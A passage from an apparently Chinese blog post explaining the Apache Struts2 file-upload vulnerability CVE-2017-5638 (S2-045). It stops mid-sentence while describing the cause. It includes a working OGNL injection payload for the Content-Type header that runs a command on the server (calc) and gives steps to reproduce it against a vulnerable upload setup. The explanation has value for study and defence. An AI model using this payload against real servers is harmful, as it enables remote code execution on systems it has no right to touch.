简单说一下Struts2基于“commons-fileupload”组件实现文件上传的漏洞,漏洞编号CVE-2017-5638,S02-45.
1. 漏洞重现:
通过发包模拟器或其它你能修改请求头Content-Type字段的客户端,可以把 Content-Type 修改成诸如haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; 的形式。
自己搭个web服务器,MVC框架使用struts2 (使用有问题的版本),实现一个文件上传的功能。
然后发包模拟器发包,结果发现在服务端电脑上弹出一个计算器的程序,谁让你动我电脑上的东西了吗?但就是动了,流氓会武术谁也档不住~~ OMG!!!
2. 漏洞形成原理:
由于头字段Content-Type的内容是非法的,不符合格式的,所以上传肯定是会出错的,commons-fileupload组件